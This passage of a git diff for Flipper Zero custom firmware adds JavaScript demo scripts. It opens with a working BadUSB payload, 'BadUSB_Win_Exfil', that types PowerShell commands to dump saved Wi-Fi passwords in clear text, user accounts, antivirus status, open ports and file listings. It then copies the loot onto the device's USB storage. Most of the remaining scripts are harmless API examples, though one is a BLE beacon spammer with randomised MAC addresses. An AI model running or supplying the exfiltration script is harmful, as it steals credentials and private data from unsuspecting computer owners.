XFW)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js @@ -0,0 +1,85 @@ +// Original: [JS Script: BadUSB_Win_Exfil-GSHD.js (By Gas Station Hot Dog)](https://github.com/User84User/User84PublicUser/blob/main/Windows_Exfil-GSHD.js) +// Updated BadUSB Win Exfil JS Script (By Gas Station Hot Dog & b0r0xZ & mistura.) (Comments added along with more commands) +//MassStorage Name +let image = "/ext/apps_assets/mass_storage/test.img"; +//MassStorage Size +let size = 8 * 1024 * 1024; +//Le Script +let script = [ + "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date + "$Time = Get-Date -Format hh-mm-ss;",//Get Time + "Get-CimInstance -ClassName Win32_ComputerSystem >> stats.txt;", //Listing computer manufacturer and model + "Get-LocalUser >> stats.txt;", //List users on the system + "Get-LocalUser | Where-Object -Property PasswordRequired -Match false >> stats.txt;", //Which users has password required set to false + "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> stats.txt;", // List which AntiVirus Product is being used + "Get-CimInstance -ClassName Win32_QuickFixEngineering >> stats.txt;", // Listing installed hotfixes + "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;",//Get network profiles with passwords + "dir env: >> stats.txt;", //Check ENV + "Get-Computerinfo >> stats.txt;", //ComputerInfo + "Get-Service >> stats.txt;", // Get runing services + "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;", //Check all IPV4 sufix that is not localhost + "GEt-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports + "Get-NetTCPConnection | Select-Object -Property * >> stats.txt;", // Get TCP information, ports, state etc.. + "Get-ChildItem -Path $userDir -Include *.txt, *.doc, *.docx, *.pptx, *.xlsx, *.pdf, *.jpg, *.png, *.mp3, *.mp4, *.zip, *.rar -Recurse >> stats.txt",//Exfil FileNames +]; + +//Script crawler +let command = ""; +for (let i = 0; i < script.length; i++) { + command += script[i]; +} + +//Requirements +let badusb = require("badusb"); +let usbdisk = require("usbdisk"); +let storage = require("storage"); + +//Check if MassStorage image Exists... +print("Checking for Image..."); +if (storage.exists(image)) { + print ("Storage Exists."); +} +//Create MassStorage in case it doesnt exists +else { + print ("Creating Storage..."); + usbdisk.createImage(image, size); +} + +//VID&PID as HID +badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); +print("Waiting for connection"); + +//Keep Connected +while (!badusb.isConnected()) { + delay(1000); +} + +//Program Start!! +badusb.press("GUI", "x");//Open admin tools menu +delay(300); +badusb.press("i");//Select PowerShell +delay(3000); +//Uncomment this to work with "Run", also comment the 1st part that works with the admin tools menu +/* +badusb.press("GUI", "r");//Open Run +delay(300); +badusb.println("powershell"); +badusb.press("ENTER"); +*/ +print("Running payload"); +badusb.println(command, 10);//Run Script Crawler +badusb.press("ENTER"); +badusb.println("echo 'Please wait until this Window closes to eject the disk!'; Start-Sleep 10; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path stats.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; exit")//Find Disk Partition to save +badusb.press("ENTER"); +badusb.quit(); +delay(2000); +usbdisk.start(image);//Open MassStorage Folder +print("Please wait until powershell window closes to eject..."); + +//Ejected check +while (!usbdisk.wasEjected()) { + delay(1000); +} +//Stop Script +usbdisk.stop(); +print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js new file mode 100644 index 00000000..eafc96aa --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js @@ -0,0 +1,21 @@ +let badusb = require("badusb"); +let notify = require("notification"); +badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); + +print("Waiting for connection"); +while (!badusb.isConnected()) { + delay(1000); +} + +function OpenSiteWin() +{ + badusb.press("GUI", "r"); + delay(100); + badusb.println("https://rogue-master.net", 1); + delay(100); +} +if (badusb.isConnected()) +{ + OpenSiteWin(); + print("Executed"); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js index bbeedd44..86050202 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/badusb_demo.js @@ -26,6 +26,12 @@ if (badusb.isConnected()) { badusb.println("Flipper Name: " + flipper.getName()); badusb.println("Battery level: " + to_string(flipper.getBatteryCharge()) + "%"); + // Alt+Numpad method works only on Windows!!! + badusb.altPrintln("This was printed with Alt+Numpad method!"); + + // There's also badusb.print() and badusb.altPrint() + // which don't add the return at the end + notify.success(); } else { print("USB not connected"); diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/blebeacon.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/blebeacon.js new file mode 100644 index 00000000..53983a74 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/blebeacon.js @@ -0,0 +1,59 @@ +let blebeacon = require("blebeacon"); + +// Stop if previous background beacon is active +if (blebeacon.isActive()) { + blebeacon.stop(); +} + +// Make sure it resets at script exit, true will keep advertising in background +// This is false by default, can be omitted +blebeacon.keepAlive(false); + + +let math = require("math"); + +let currentIndex = 0; +let watchValues = [ + 0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, + 0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15, + 0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E, + 0x20, 0xEC, 0xEF +]; + +function generateRandomMac() { + let mac = []; + for (let i = 0; i < 6; i++) { + mac.push(math.floor(math.random() * 256)); + } + return Uint8Array(mac); +} + +function sendRandomModelAdvertisement() { + let model = watchValues[currentIndex]; + + let packet = [ + 14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43, + model + ]; + + let intervalMs = 50; + + // Power level, min interval and max interval are optional + blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3); + + blebeacon.setData(Uint8Array(packet)); + + blebeacon.start(); + + print("Sent data for model ID " + to_string(model)); + + currentIndex = (currentIndex + 1) % watchValues.length; + + delay(intervalMs); + + blebeacon.stop(); +} + +while (true) { + sendRandomModelAdvertisement(); +} \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/dialog.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/dialog.js index 9fc44f8b..4c5b0af2 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/dialog.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/dialog.js @@ -7,13 +7,16 @@ let dialog_params = ({ header: "Test_header", text: "Test_text", button_left: "Left", - button_right: "Right", + button_right: "Files", button_center: "OK" }); let result2 = dialog.custom(dialog_params); if (result2 === "") { print("Back is pressed"); +} else if (result2 === "Files") { + let result3 = dialog.pickFile("/ext", "*"); + print("Selected", result3); } else { print(result2, "is pressed"); } diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/gpio.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/gpio.js new file mode 100644 index 00000000..02b55a3a --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/gpio.js @@ -0,0 +1,62 @@ +let gpio = require("gpio"); + +// initialize pins +gpio.init("PC3", "outputPushPull", "up"); // pin, mode, pull +print("PC3 is initialized as outputPushPull with pull-up"); + +gpio.init("PC1", "input", "down"); // pin, mode, pull +print("PC1 is initialized as input with pull-down"); + +// let led on PC3 blink +gpio.write("PC3", true); // high +delay(1000); +gpio.write("PC3", false); // low +delay(1000); +gpio.write("PC3", true); // high +delay(1000); +gpio.write("PC3", false); // low + +// read value from PC1 and write it to PC3 +while (true) { + let value = gpio.read("PC1"); + gpio.write("PC3", value); + + value ? print("PC1 is high") : print("PC1 is low"); + + delay(100); +} + + +// possible pins https://docs.flipper.net/gpio-and-modules#miFsS +// "PA7" aka 2 +// "PA6" aka 3 +// "PA4" aka 4 +// "PB3" aka 5 +// "PB2" aka 6 +// "PC3" aka 7 +// "PA14" aka 10 +// "PA13" aka 12 +// "PB6" aka 13 +// "PB7" aka 14 +// "PC1" aka 15 +// "PC0" aka 16 +// "PB14" aka 17 + +// possible modes +// "input" +// "outputPushPull" +// "outputOpenDrain" +// "altFunctionPushPull" +// "altFunctionOpenDrain" +// "analog" +// "interruptRise" +// "interruptFall" +// "interruptRiseFall" +// "eventRise" +// "eventFall" +// "eventRiseFall" + +// possible pull +// "no" +// "up" +// "down" \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/interactive.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/interactive.js new file mode 100644 index 00000000..95db9115 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/interactive.js @@ -0,0 +1,30 @@ +let dialog = require("dialog"); +let keyboard = require("keyboard"); +let storage = require("storage"); + +// Need to run code from file, and filename must be unique +let tmp_template = "/ext/apps_data/js_app/.interactive.tmp."; +let tmp_number = 0; + +let result = "Run JavaScript Code"; +while (dialog.message("Interactive Console", result)) { + keyboard.setHeader("Type JavaScript Code"); + let input = keyboard.text(256); + if (!input) break; + + let path = tmp_template + to_string(tmp_number++); + storage.write(path, "({run:function(){return " + input + ";},})"); + result = load(path).run(); + storage.remove(path); + + // Must convert to string explicitly + if (typeof result === "number") { + result = to_string(result); + } else if (typeof result === "undefined") { + result = "undefined"; + } else if (typeof result === "boolean") { + result = result ? "true" : "false"; + } else if (typeof result === "object") { + result = JSON.stringify(result); + } +} diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/keyboard.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/keyboard.js new file mode 100644 index 00000000..2b01418d --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/keyboard.js @@ -0,0 +1,23 @@ +let keyboard = require("keyboard"); + +keyboard.setHeader("Example Text Input"); + +// Default text is optional +let text = keyboard.text(100, "Default text", true); +// Returns undefined when pressing back +print("Got text:", text); + +keyboard.setHeader("Example Byte Input"); + +// Default data is optional +let result = keyboard.byte(6, Uint8Array([1, 2, 3, 4, 5, 6])); +// Returns undefined when pressing back +if (result !== undefined) { + let data = Uint8Array(result); + result = "0x"; + for (let i = 0; i < data.byteLength; i++) { + if (data[i] < 0x10) result += "0"; + result += to_hex_string(data[i]); + } +} +print("Got data:", result); \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/math.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/math.js new file mode 100644 index 00000000..49212f90 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/math.js @@ -0,0 +1,47 @@ +let math = require("math"); + +let absResult = math.abs(-5); +let acosResult = math.acos(0.5); +let acoshResult = math.acosh(2); +let asinResult = math.asin(0.5); +let asinhResult = math.asinh(2); +let atanResult = math.atan(1); +let atan2Result = math.atan2(1, 1); +let atanhResult = math.atanh(0.5); +let cbrtResult = math.cbrt(27); +let ceilResult = math.ceil(5.3); +let clz32Result = math.clz32(1); +let cosResult = math.cos(math.PI); +let expResult = math.exp(1); +let floorResult = math.floor(5.7); +let maxResult = math.max(3, 5); +let minResult = math.min(3, 5); +let powResult = math.pow(2, 3); +let randomResult = math.random(); +let signResult = math.sign(-5); +let sinResult = math.sin(math.PI / 2); +let sqrtResult = math.sqrt(25); +let truncResult = math.trunc(5.7); + +print("math.abs(-5):", absResult); +print("math.acos(0.5):", acosResult); +print("math.acosh(2):", acoshResult); +print("math.asin(0.5):", asinResult); +print("math.asinh(2):", asinhResult); +print("math.atan(1):", atanResult); +print("math.atan2(1, 1):", atan2Result); +print("math.atanh(0.5):", atanhResult); +print("math.cbrt(27):", cbrtResult); +print("math.ceil(5.3):", ceilResult); +print("math.clz32(1):", clz32Result); +print("math.cos(math.PI):", cosResult); +print("math.exp(1):", expResult); +print("math.floor(5.7):", floorResult); +print("math.max(3, 5):", maxResult); +print("math.min(3, 5):", minResult); +print("math.pow(2, 3):", powResult); +print("math.random():", randomResult); +print("math.sign(-5):", signResult); +print("math.sin(math.PI/2):", sinResult); +print("math.sqrt(25):", sqrtResult); +print("math.trunc(5.7):", truncResult); \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js index c469688e..c19f0f00 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/storage.js @@ -4,10 +4,13 @@ let path = "/ext/storage.test"; print("File exists:", storage.exists(path)); print("Writing..."); -storage.write(path, "Hello World!"); +storage.write(path, "Hello "); print("File exists:", storage.exists(path)); +// Append will create the file even if it doesnt exist! +storage.append(path, "World!"); + print("Reading..."); let data = storage.read(path); print(data); diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/stringutils.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/stringutils.js new file mode 100644 index 00000000..51781328 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/stringutils.js @@ -0,0 +1,19 @@ +let sampleText = "Hello, World!"; + +let lengthOfText = "Length of text: " + to_string(sampleText.length); +print(lengthOfText); + +let start = 7; +let end = 12; +let substringResult = sampleText.slice(start, end); +print(substringResult); + +let searchStr = "World"; +let result2 = to_string(sampleText.indexOf(searchStr)); +print(result2); + +let upperCaseText = "Text in upper case: " + to_upper_case(sampleText); +print(upperCaseText); + +let lowerCaseText = "Text in lower case: " + to_lower_case(sampleText); +print(lowerCaseText); diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/subghz.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/subghz.js new file mode 100644 index 00000000..39dadf07 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/subghz.js @@ -0,0 +1,37 @@ +let subghz = require("subghz"); +subghz.setup(); + +function printRXline() { + if (subghz.getState() !== "RX") { + subghz.setRx(); // to RX + } + + let rssi = subghz.getRssi(); + let freq = subghz.getFrequency(); + let ext = subghz.isExternal(); + + print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext); +} + +function changeFrequency(freq) { + if (subghz.getState() !== "IDLE") { + subghz.setIdle(); // need to be idle to change frequency + } + subghz.setFrequency(freq); +} + +subghz.setIdle(); +print(subghz.getState()); // "IDLE" +subghz.setRx(); +print(subghz.getState()); // "RX" + +changeFrequency(433920000); +printRXline(); +delay(1000); + +let result = subghz.transmitFile("/ext/subghz/0.sub"); +print(result ? "Send success" : "Send failed"); +delay(1000); + +changeFrequency(315000000); +printRXline(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/submenu.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/submenu.js new file mode 100644 index 00000000..24555130 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/submenu.js @@ -0,0 +1,11 @@ +let submenu = require("submenu"); + +submenu.addItem("Item 1", 0); +submenu.addItem("Item 2", 1); +submenu.addItem("Item 3", 2); + +submenu.setHeader("Select an option:"); + +let result = submenu.show(); +// Returns undefined when pressing back +print("Result:", result); diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/textbox.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/textbox.js new file mode 100644 index 00000000..bb6c4fc2 --- /dev/null +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/textbox.js @@ -0,0 +1,30 @@ +let textbox = require("textbox"); + +// You should set config before adding text +// Focus (start / end), Font (text / hex) +textbox.setConfig("end", "text"); + +// Can make sure it's empty before showing, in case of reusing in same script +// (Closing textbox already empties the text, but maybe you added more in a loop for example) +textbox.emptyText(); + +// Add default text +textbox.addText("Example dynamic updating textbox\n"); + +// Non-blocking, can keep updating text after, can close in JS or in GUI +textbox.show(); + +let i = 0; +while (textbox.isOpen() && i < 20) { + print("console", i++); + + // Add text to textbox buffer + textbox.addText("textbox " + to_string(i) + "\n"); + + delay(500); +} + +// If not closed by user (instead i < 20 is false above), close forcefully +if (textbox.isOpen()) { + textbox.close(); +} diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/uart_echo.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/uart_echo.js index 60d44d07..1cc0d8e6 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/uart_echo.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/uart_echo.js @@ -8,4 +8,7 @@ while (1) { let data_view = Uint8Array(rx_data); print("0x" + to_hex_string(data_view[0])); } -} \ No newline at end of file +} + +// There's also serial.end(), so you can serial.setup() again in same script +// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/usbdisk.js b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/usbdisk.js index 87f3224d..df9b1ab3 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/usbdisk.js +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/Scripts/usbdisk.js @@ -1,8 +1,9 @@ let usbdisk = require("usbdisk"); +let image = "/ext/apps_assets/mass_storage/test.img"; // print("Creating image..."); // usbdisk.createImage("/ext/apps_data/mass_storage/128MB.img", 128 * 1024 * 1024); print("Starting UsbDisk..."); -usbdisk.start("/ext/apps_data/mass_storage/128MB.img"); +usbdisk.start(image); print("Started, waiting until ejected..."); while (!usbdisk.wasEjected()) { delay(1000); diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap index 3d6a2dee..1d29e1d6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/about.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap index 4a94b3bd..11a48368 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/bt_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap index 71363fa2..f31c1c26 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/cfw.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap index a593819d..29b9ee10 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/desktop_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap index e45e7a5f..71ab3a64 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/dolphin_trainer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap index 1c2703b9..94e3dd4a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/expansion_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap index 52c3237a..72a2e85c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/extendrange.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap index fab67f0a..4502ad56 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/namechanger.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap index f2f3d0b3..febb3e61 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/notification_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap index b281b387..fd4d1638 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/passport.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap index 5a7fda0f..a1e3c635 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/power_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap index 162190c2..4234e28c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/smack_my_dolphin_up.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap index b68215f8..391be807 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/storage_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap index 483330c2..f39b99fb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Settings/system_settings.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap index faac9650..3c988ccb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/enhanced_subghz_chat.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap index 48be5664..45549b9f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/genie_record_v3.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap index f87a3f1a..be346a03 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/meal_pager.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap index 3ce13a2d..04eff19e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/pocsag_pager.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap index 24a6557a..45c3cfd0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/protoview.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap index dba16ced..5b9a69d2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/rolling_flaws.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap index f62a4b1c..b6826807 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/shapshup.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap index c5b2a8ea..12ef519f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/spectrum_analyzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap index a7f07909..b9407e86 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap index c6864090..dbeef5ec 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_fap.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap index af1809eb..c7a9b6d0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_playlist.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap index 38851041..6720ec55 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap index d63b18f4..1fd324d0 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/subghz_test.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Sub-GHz/tpms.fap b/Applications/Custom (UL, RM, 